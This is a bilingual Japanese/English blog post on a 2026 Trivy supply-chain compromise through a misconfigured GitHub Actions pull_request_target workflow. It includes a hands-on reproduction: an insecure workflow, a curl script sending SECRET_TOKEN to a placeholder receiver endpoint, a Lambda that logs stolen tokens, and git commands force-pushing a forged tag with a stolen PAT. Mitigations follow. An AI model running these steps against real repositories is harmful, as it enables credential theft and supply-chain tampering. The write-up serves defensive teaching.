GitHub Actions の pull_request_target 脆弱性 — Trivy インシデントから学ぶサプライチェーン攻撃と対策


GitHub Actions の pull_request_target 脆弱性 — Trivy インシデントから学ぶサプライチェーン攻撃と対策

🇺🇸 English version is available below. / 英語版はこのページの下部にあります。

はじめに

2026 年 2 月 〜 3 月、OSS のセキュリティスキャナとして広く使われている Trivy のリポジトリが侵害されました。攻撃の起点となったのは GitHub Actions の pull_request_target イベントの誤った使い方です。本記事では、インシデントの概要から攻撃の仕組み、実際の検証結果、そして具体的な対策までを解説します。


1. Trivy インシデントの概要

初回侵害(2 月 28 日):pull_request_target による PAT 窃取

攻撃者は Trivy リポジトリの pull_request_target ワークフローの脆弱性を悪用し、リポジトリシークレットとして保存されていたリリース自動化ボット aqua-bot の PAT(Personal Access Token)を窃取しました。PAT とは GitHub API やコマンドラインからの認証に使用するトークンで、トークンの所有者と同等の権限でリポジトリへのアクセスや操作を行えます[1]。パスワードと同様に扱うべき機密情報です。

再侵害(3 月 19 日):窃取した PAT によるタグ偽装

初回侵害後、ワークフローの脆弱性自体は修正されましたが、初回侵害の封じ込めが完全ではなかったため、攻撃者は窃取済みの PAT を使って 3 月 19 日に再度アクセスを獲得。Imposter Commit(フォーク経由で本家リポジトリのタグを攻撃者のコミットに向け替える手法)と呼ばれる手法で以下の被害を引き起こしました。

  • aquasecurity/setup-trivyaquasecurity/trivy-action の 2 つの GitHub Actions にクレデンシャル窃取ペイロードを注入
  • Trivy リポジトリに偽の v0.69.4 タグを作成し、リリースワークフローを改ざん
  • 既存の v0.70.0 タグを削除し、v0.69.4 が最新リリースに見えるよう操作

これらの Actions を利用していた CI/CD パイプラインは、次回の実行時に攻撃者のコードを取得することになります。

注記: 本記事の概要は[2][3]をもとにしています。詳細な技術的経緯は原文を参照してください。


2. 攻撃の起点:pull_request_target とは

通常の pull_request との違い

GitHub Actions には PR をトリガーにするイベントが 2 種類あります。

イベントデフォルトで checkout されるコードフォークからの PR でシークレットにアクセスできるか
pull_request本家 + PR のマージコミット不可GITHUB_TOKEN は読み取り専用、シークレットは渡されない)
pull_request_target本家のコードのみ可能

GitHub 公式ドキュメント[4] の pull_request_target セクションには以下の記載があります。

This event runs in the context of the default branch of the base repository, rather than in the context of the merge commit, as the pull_request event does. This prevents execution of unsafe code from the head of the pull request that could alter your repository or steal any secrets you use in your workflow.

これは pull_request_target の設計意図の説明です。デフォルトブランチのコンテキストで動くため、デフォルトでは actions/checkout が本家のコードを取得します(PR 送信者のコードは実行されない)。この前提のもとでシークレットへのアクセスを許可しています。

同セクションでは次のような警告も記載されています[4]。

Warning: Running untrusted code on the pull_request_target trigger may lead to security vulnerabilities. […] Avoid using this event if you need to build or run code from the pull request.

これは pull_request_target を使いながら PR のコードを実行する構成(後述の脆弱なパターン)に対する警告です。

なぜ危険なのか

GitHub Security Lab の記事[5] では、この問題を “pwn request” と呼び、次のように説明しています。

TL;DR: Combining pull_request_target workflow trigger with an explicit checkout of an untrusted PR is a dangerous practice that may lead to repository compromise.

pull_request_target 単体は安全な設計ですが、例えば actions/checkoutrefgithub.event.pull_request.head.sha(PR 送信者のブランチの最新コミット SHA)を指定してフォーク側のコードを checkout すると、「シークレットにアクセスできる環境で攻撃者のコードを実行できる」状態になります。

攻撃の流れを整理すると以下のようになります。

攻撃者がフォークから PR を送信

pull_request_target が承認なしで即実行

攻撃者のコードが checkout される

シークレット(PAT)が環境変数として展開された状態でスクリプトが実行される

悪意のあるスクリプトが攻撃者のサーバーに PAT を送信する

以下が脆弱なワークフローの例です(Security Lab 記事[5] の INSECURE 例をもとに構成)。

# INSECURE
on:
  pull_request_target:
    types: [opened, synchronize]

jobs:
  test:
    runs-on: ubuntu-latest
    steps:
      - uses: actions/checkout@v4
        with:
          ref: ${{ github.event.pull_request.head.sha }}  # PR のコードを checkout ← 危険
      - name: Run tests
        env:
          SECRET_TOKEN: ${{ secrets.SECRET_TOKEN }}       # PAT が環境変数に展開される
        run: bash ./test.sh                               # 攻撃者のスクリプトが実行される

3. 検証:実際に攻撃を再現してみた

PAT 窃取の検証

本家リポジトリ側の準備

  1. Fine-grained PAT を作成し、リポジトリシークレット SECRET_TOKEN として登録(Contents: Read and write、Workflows: Write など書き込み権限を付与した状態を想定)
  2. 上記の INSECURE なワークフローを vulnerable.yml として .github/workflows/ に配置
  3. ワークフローから呼び出される test.sh をリポジトリルートに配置(初期内容は任意)

攻撃者側の操作

受信サーバーの準備(AWS Lambda + API Gateway)

PAT を受け取るエンドポイントを用意します。Lambda 関数のコードは以下の通りです。

# Lambda 関数
import json

def lambda_handler(event, context):
    body = json.loads(event.get('body', '{}'))
    print("RECEIVED:", body.get('secret'))
    return {'statusCode': 200, 'body': 'ok'}

API Gateway で POST /steal を作成し Lambda に接続すると、エンドポイント URL が発行されます。受信内容は CloudWatch Logs で確認できます。

フォーク上の test.sh を差し替え

ワークフローが呼び出す test.sh を以下の内容に書き換えます。

#!/bin/bash
curl -s -X POST https://<your-api-gateway-url>/steal \
  -H "Content-Type: application/json" \
  -d "{\"secret\":\"${SECRET_TOKEN}\"}"

PR を送信

フォークから本家に PR を送ると pull_request_target がトリガーされ、ワークフローが即実行されます。

結果

GitHub Actions のログ      CloudWatch Logs(受信)
───────────────────────    ──────────────────────────────────────────────────
SECRET_TOKEN = ***     →   RECEIVED: secret=github_pat_11A7CMB6I0...(省略)

GitHub Actions のログ上では SECRET_TOKEN: *** とマスクされています。一方 CloudWatch Logs 側では PAT の実際の値が受信されていることを確認できました。


タグ偽装(Imposter Commit)の検証

PAT を盗んだことで、本来できないはずの操作が可能になります。例えば以下のようなことができます。

PAT なし → 本家への push 権限なし → タグ書き換え不可
PAT あり → 本家への push 権限あり → タグ書き換え可能 ← 今回

手順

本家リポジトリをクローン

攻撃者はまず自分のローカル PC に本家リポジトリをクローンします。目的は「本家のタグを操作する土台を作ること」です。

git clone https://github.com/<owner>/vulnerable-actions-test.git /tmp/target-repo
cd /tmp/target-repo

攻撃者フォークのコミットを取り込む

次に、自分のフォーク(攻撃者のコード)を remote として追加し、コミットオブジェクトをローカルに取り込みます。

git remote add attacker https://github.com/<attacker>/vulnerable-actions-test.git
git fetch attacker

git remote add は「URL に名前をつけるだけ」で、ファイルのダウンロードは発生しません。git fetch attacker で初めて攻撃者フォークのコミットオブジェクトが .git/objects/(git の内部データベース)にダウンロードされます。

ワーキングディレクトリ(実際のファイル)
  └── 本家のファイルのまま、変化なし

.git/objects/(git の内部データベース)
  └── 本家のコミット群
  └── 攻撃者のコミット群 ← fetch でここに追加された

タグを攻撃者のコミットに向けて書き換え

git tag -f v1.0.0 <攻撃者のコミット SHA>

盗んだ PAT で本家に強制 push

git push https://<盗んだPAT>@github.com/<owner>/vulnerable-actions-test.git refs/tags/v1.0.0 --force

結果

GitHub の Tags ページで v1.0.0 が攻撃者のコミットを指していることを確認できました。また、元々タグに付いていた Verified マーク(署名済みコミットの証明)がそのまま残るため、正規のリリースと見分けがつかず気づきにくい点も問題です。

さらに、侵害されたリポジトリを自分のワークフローでバージョンタグ指定して使っている利用者は、気づかないまま攻撃者のコードを実行してしまいます。

# 利用者のワークフロー
- uses: owner/some-action@v1.0.0  # ← このタグが攻撃者のコミットを指している

タグを信頼してバージョン固定していたはずが、実際には攻撃者のコードが動く状態になります。


4. 対策

リポジトリのメンテナ向け(ワークフローを書く・管理する人)

pull_request_target の誤用を避ける

GitHub Security Lab の記事[5] では以下の対策が推奨されています。

書き込み権限やシークレットが不要なら pull_request を使う

Avoid using pull_request_target if the workflow doesn’t need write repository permissions and doesn’t use any repository secrets. They can simply use the pull_request trigger instead.

# ✅ PR のコードをテスト・ビルドする場合はこちら
on:
  pull_request:

権限が必要な場合は pull_request + workflow_run の 2 段構成にする

Security Lab 記事[5] では以下のように説明されています。

To do this in a secure manner, the untrusted code must be handled via the pull_request trigger so that it is isolated in an unprivileged environment. The workflow processing the PR should then store any results like code coverage or failed/passed tests in artifacts and exit. The following workflow then starts on workflow_run where it is granted write permission to the target repository and access to repository secrets.

つまり PR のコードは非特権の pull_request で実行し、結果をアーティファクトに保存。その後 workflow_run で特権処理(コメント投稿など)を行う構成です。

pull_request(非特権)
  └── PR のコードをビルド・テスト
  └── 結果をアーティファクトに保存

workflow_run(特権:シークレットあり・書き込み権限あり)
  └── アーティファクトを取得
  └── PR にコメントを投稿

pull_request_target を使う場合は PR のコードを実行しない

Security Lab 記事[5] によると、pull_request_target の本来の用途はラベル付けや PR へのコメント投稿など、PR のコードを実行しない処理です。

The reason to introduce the pull_request_target trigger was to enable workflows to label PRs (e.g. needs review) or to comment on the PR. The intent is to use the trigger for PRs that do not require dangerous processing, say building or running the content of the PR.

これらの処理は本家のコードで完結するため、ref で PR の HEAD を指定して checkout する必要はありません。

外部の Actions を使う開発者向け(他のリポジトリの Action を自分のワークフローで使う人)

タグ偽装(Imposter Commit)への備え

Trivy インシデントが示すように、PAT が漏洩するとタグの書き換えが可能になります。利用している Actions のバージョン指定をタグではなくコミット SHA で固定することで、タグが書き換えられても影響を受けなくなります。

# ❌ タグ指定(タグが書き換えられると影響を受ける)
- uses: aquasecurity/trivy-action@v0.28.0

# ✅ コミット SHA 指定(タグが書き換えられても影響を受けない)
- uses: aquasecurity/trivy-action@57a97c7e7821a5776cebc9bb87c984fa69cba8f1

まとめ

やること内容
テスト・ビルドは pull_request で行うシークレットへのアクセスが不要な構成にする
特権処理が必要なら pull_request + workflow_run の 2 段構成非特権と特権を分離する
pull_request_target は PR のコードを実行しない用途に限定checkout しない
PAT の権限を最小化する万が一漏洩しても被害を限定できる
Actions のバージョン指定はコミット SHA で固定するタグが書き換えられても影響を受けない

おわりに

pull_request_target は便利なイベントですが、使い方を誤るとリポジトリのシークレットが外部に漏洩し、さらにはリリース成果物の改ざんにまで発展します。Trivy のインシデントはその危険性を示した実例です。

自分のリポジトリに pull_request_target を使ったワークフローがある場合は、PR のコードを実行していないか確認してみてください。また、利用している Actions のバージョン指定がタグになっている場合は、コミット SHA への切り替えを検討してください。


参考文献

[1] GitHub Docs — Managing your personal access tokens

[2] Wiz Research — Trivy Compromised: Everything You Need to Know about the Latest Supply Chain Attack (Rami McCarthy, 2026年3月20日)

[3] shift-js diary — 2026年3月19日の Trivy 再侵害の概要と対応指針 (2026年3月20日)

[4] GitHub Docs — Events that trigger workflows: pull_request_target

[5] GitHub Security Lab — Keeping your GitHub Actions and workflows secure Part 1: Preventing pwn requests (Jaroslav Lobačevski, 2021)

---🇺🇸 English ---

The pull_request_target Vulnerability in GitHub Actions — Supply Chain Attacks and Mitigations Learned from the Trivy Incident

Introduction

Between February and March 2026, the repository of Trivy, a widely used open-source security scanner, was compromised. The root cause was a misconfigured use of the pull_request_target event in GitHub Actions. This article covers the incident overview, how the attack worked, hands-on verification results, and concrete mitigations.


1. Overview of the Trivy Incident

First Compromise (February 28): PAT Theft via pull_request_target

The attacker exploited a vulnerability in a pull_request_target workflow in the Trivy repository, stealing the PAT (Personal Access Token) of aqua-bot, a release automation bot account whose PAT was stored as a repository secret. A PAT is a token used for authentication to the GitHub API or command line, and it can access and perform operations on repositories with the same permissions as the token owner[1]. It should be treated with the same level of care as a password.

Second Compromise (March 19): Tag Forgery Using the Stolen PAT

After the first compromise, the workflow vulnerability itself was patched, but containment of the initial incident was incomplete, allowing the attacker to regain access on March 19 using the previously stolen PAT. Using a technique known as Imposter Commit (a method of pointing an upstream repository’s tag to an attacker’s commit via a fork), the attacker caused the following damage:

  • Injected credential-stealing payloads into two GitHub Actions: aquasecurity/setup-trivy and aquasecurity/trivy-action
  • Created a fake v0.69.4 tag in the Trivy repository, tampering with the release workflow
  • Deleted the existing v0.70.0 tag to make v0.69.4 appear to be the latest release

CI/CD pipelines using these Actions would fetch the attacker’s code on their next run.

Note: The incident overview in this article is based on [2][3]. Please refer to the original sources for detailed technical background.


2. The Attack Vector: What Is pull_request_target?

Difference from pull_request

GitHub Actions has two events that trigger on pull requests:

EventCode checked out by defaultCan secrets be accessed from fork PRs?
pull_requestUpstream + PR merge commitNo (GITHUB_TOKEN is read-only; secrets are not passed)
pull_request_targetUpstream code onlyYes

The pull_request_target section of the GitHub official documentation[4] states:

This event runs in the context of the default branch of the base repository, rather than in the context of the merge commit, as the pull_request event does. This prevents execution of unsafe code from the head of the pull request that could alter your repository or steal any secrets you use in your workflow.

This explains the design intent of pull_request_target. Because it runs in the default branch context, actions/checkout fetches the upstream code by default (the PR author’s code is not executed). Secrets access is granted under this assumption.

The same section also includes the following warning[4]:

Warning: Running untrusted code on the pull_request_target trigger may lead to security vulnerabilities. […] Avoid using this event if you need to build or run code from the pull request.

This warning targets configurations that use pull_request_target while also executing PR code (the vulnerable pattern described below).

Why Is It Dangerous?

GitHub Security Lab’s article[5] calls this problem a “pwn request” and describes it as follows:

TL;DR: Combining pull_request_target workflow trigger with an explicit checkout of an untrusted PR is a dangerous practice that may lead to repository compromise.

pull_request_target alone is a safe design, but specifying github.event.pull_request.head.sha (the latest commit SHA on the PR author’s branch) in the ref parameter of actions/checkout creates a state where the attacker’s code runs in an environment that has access to secrets.

The attack flow looks like this:

Attacker submits a PR from a fork

pull_request_target triggers immediately without approval

Attacker's code is checked out

Script runs with the PAT expanded as an environment variable

Malicious script sends the PAT to the attacker's server

Below is an example of a vulnerable workflow (based on the INSECURE example in the Security Lab article[5]):

# INSECURE
on:
  pull_request_target:
    types: [opened, synchronize]

jobs:
  test:
    runs-on: ubuntu-latest
    steps:
      - uses: actions/checkout@v4
        with:
          ref: ${{ github.event.pull_request.head.sha }}  # Checks out PR code ← dangerous
      - name: Run tests
        env:
          SECRET_TOKEN: ${{ secrets.SECRET_TOKEN }}       # PAT is expanded as env var
        run: bash ./test.sh                               # Attacker's script runs

3. Hands-on Verification

PAT Theft Verification

Upstream Repository Setup

  1. Create a Fine-grained PAT and register it as a repository secret SECRET_TOKEN (assuming write permissions such as Contents: Read and write, Workflows: Write are granted)
  2. Place the INSECURE workflow above as vulnerable.yml in .github/workflows/
  3. Place test.sh in the repository root (initial content can be anything)

Attacker’s Operations

Setting Up a Receiver (AWS Lambda + API Gateway)

Prepare an endpoint to receive the PAT. The Lambda function code is as follows:

# Lambda function
import json

def lambda_handler(event, context):
    body = json.loads(event.get('body', '{}'))
    print("RECEIVED:", body.get('secret'))
    return {'statusCode': 200, 'body': 'ok'}

Create POST /steal in API Gateway and connect it to Lambda to get an endpoint URL. Received data can be checked in CloudWatch Logs.

Replace test.sh on the Fork

Replace test.sh (called by the workflow) with the following:

#!/bin/bash
curl -s -X POST https://<your-api-gateway-url>/steal \
  -H "Content-Type: application/json" \
  -d "{\"secret\":\"${SECRET_TOKEN}\"}"

Submit the PR

Submitting a PR from the fork to the upstream triggers pull_request_target, and the workflow runs immediately.

Result

GitHub Actions log         CloudWatch Logs (received)
───────────────────────    ──────────────────────────────────────────────────
SECRET_TOKEN = ***     →   RECEIVED: secret=github_pat_11A7CMB6I0...(truncated)

In the GitHub Actions log, SECRET_TOKEN: *** is masked. However, CloudWatch Logs confirmed that the actual PAT value was received.


Tag Forgery (Imposter Commit) Verification

Stealing the PAT enables operations that would otherwise be impossible. For example:

Without PAT → no push access to upstream → cannot rewrite tags
With PAT    → push access to upstream    → can rewrite tags ← this case

Steps

Clone the Upstream Repository

The attacker first clones the upstream repository locally. The goal is to create a foundation for manipulating the upstream tags.

git clone https://github.com/<owner>/vulnerable-actions-test.git /tmp/target-repo
cd /tmp/target-repo

Fetch the Attacker’s Fork Commits

Add the attacker’s fork as a remote and fetch its commit objects locally.

git remote add attacker https://github.com/<attacker>/vulnerable-actions-test.git
git fetch attacker

git remote add only assigns a name to a URL — no files are downloaded at this point. git fetch attacker downloads the attacker’s fork commit objects into .git/objects/ (git’s internal database).

Working directory (actual files)
  └── Upstream files unchanged

.git/objects/ (git's internal database)
  └── Upstream commits
  └── Attacker's commits ← added here by fetch

Rewrite the Tag to Point to the Attacker’s Commit

git tag -f v1.0.0 <attacker's commit SHA>

Force Push to Upstream Using the Stolen PAT

git push https://<stolen-PAT>@github.com/<owner>/vulnerable-actions-test.git refs/tags/v1.0.0 --force

Result

The GitHub Tags page confirmed that v1.0.0 now points to the attacker’s commit. The Verified mark (proof of a signed commit) that was originally on the tag remains, making it indistinguishable from a legitimate release.

Furthermore, users who reference the compromised repository by version tag in their own workflows will unknowingly execute the attacker’s code:

# User's workflow
- uses: owner/some-action@v1.0.0  # ← this tag now points to the attacker's commit

What was intended as a pinned, trusted version now runs the attacker’s code.


4. Mitigations

For Repository Maintainers (Those Who Write and Manage Workflows)

Avoid Misusing pull_request_target

GitHub Security Lab’s article[5] recommends the following mitigations.

Use pull_request if write permissions and secrets are not needed

Avoid using pull_request_target if the workflow doesn’t need write repository permissions and doesn’t use any repository secrets. They can simply use the pull_request trigger instead.

# ✅ Use this for testing/building PR code
on:
  pull_request:

Use a two-stage pull_request + workflow_run pattern when privileges are needed

As explained in the Security Lab article[5]:

To do this in a secure manner, the untrusted code must be handled via the pull_request trigger so that it is isolated in an unprivileged environment. The workflow processing the PR should then store any results like code coverage or failed/passed tests in artifacts and exit. The following workflow then starts on workflow_run where it is granted write permission to the target repository and access to repository secrets.

Run PR code in the unprivileged pull_request context, save results as artifacts, then handle privileged operations (e.g., posting comments) in workflow_run.

pull_request (unprivileged)
  └── Build/test PR code
  └── Save results as artifacts

workflow_run (privileged: secrets + write access)
  └── Download artifacts
  └── Post comment on PR

When using pull_request_target, do not execute PR code

According to the Security Lab article[5], the intended use of pull_request_target is for operations that do not execute PR code, such as labeling or commenting on PRs:

The reason to introduce the pull_request_target trigger was to enable workflows to label PRs (e.g. needs review) or to comment on the PR. The intent is to use the trigger for PRs that do not require dangerous processing, say building or running the content of the PR.

These operations can be completed using the upstream code, so there is no need to specify ref to check out the PR’s HEAD.

For Developers Using External Actions (Those Who Use Third-Party Actions in Their Own Workflows)

Protecting Against Tag Forgery (Imposter Commit)

As the Trivy incident demonstrates, a leaked PAT enables tag rewriting. By pinning Actions versions to a commit SHA instead of a tag, users are unaffected even if a tag is rewritten.

# ❌ Tag reference (affected if the tag is rewritten)
- uses: aquasecurity/trivy-action@v0.28.0

# ✅ Commit SHA reference (unaffected even if the tag is rewritten)
- uses: aquasecurity/trivy-action@57a97c7e7821a5776cebc9bb87c984fa69cba8f1

Summary

ActionDetails
Use pull_request for testing/buildingAvoids needing secrets access
Use pull_request + workflow_run two-stage pattern when privileges are neededSeparates unprivileged and privileged contexts
Limit pull_request_target to operations that don’t execute PR codeNo checkout
Minimize PAT permissionsLimits blast radius if leaked
Pin Actions versions to commit SHAsUnaffected even if tags are rewritten

Conclusion

pull_request_target is a convenient event, but misuse can lead to repository secrets being leaked externally and even to the tampering of release artifacts. The Trivy incident is a real-world example of this danger.

If your repository has workflows using pull_request_target, check now whether they execute PR code. If your Actions version references use tags, consider switching to commit SHA pinning.


References

[1] GitHub Docs — Managing your personal access tokens

[2] Wiz Research — Trivy Compromised: Everything You Need to Know about the Latest Supply Chain Attack (Rami McCarthy, March 20, 2026)

[3] shift-js diary — 2026年3月19日の Trivy 再侵害の概要と対応指針 (March 20, 2026)

[4] GitHub Docs — Events that trigger workflows: pull_request_target

[5] GitHub Security Lab — Keeping your GitHub Actions and workflows secure Part 1: Preventing pwn requests (Jaroslav Lobačevski, 2021)